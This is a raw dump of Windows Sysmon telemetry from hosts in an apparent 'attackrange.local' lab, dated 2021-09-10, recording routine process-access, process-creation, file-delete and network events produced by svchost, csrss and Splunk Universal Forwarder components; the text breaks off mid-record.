15:09:35.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018378Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018377Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018376Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018375Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018374Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018373Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018372Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018371Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-752F-613B-4805-00000000F101}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018370Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-752F-613B-4805-00000000F101}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018369Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-752F-613B-4805-00000000F101}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000057397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:36.991{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2AC4304F49668088D8DE61356EB3B2A9,SHA256=B150CBCC4C6E60896759927CDF2FC477A3860D2B381DE3D26655AFD61F9C30E4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018412Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.786{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A3EF8AA5A8B564DAADF03FD429B284CF,SHA256=2B5EC2A6E3F38597F00DA3FA5B4D73B213A12F12B2B645D27E72D1E2B140EE21,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018411Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.130{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D232C89A53FD729C5C7100DB86557A2A,SHA256=1276573EB373BFE2C9DAAB8FF31CC900A075B8E6617849BB70F23BA290C0DB3B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018410Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7530-613B-4A05-00000000F101}3440C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018409Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018408Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018407Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018406Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018405Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018404Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018403Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018402Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018401Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018400Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7530-613B-4A05-00000000F101}3440C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018399Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.099{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7530-613B-4A05-00000000F101}3440C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018398Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.100{625C326B-7530-613B-4A05-00000000F101}3440C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000057396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:33.420{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63197-false10.0.1.12-8000- 23542300x800000000000000018413Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:37.817{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47C05890C7B520F6CDDBD175D34D0CE7,SHA256=F6CC2208AFC7FC981D6AA483AD1A4B5F39B38FC65381F460F4DBF7F65F404DB9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018415Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 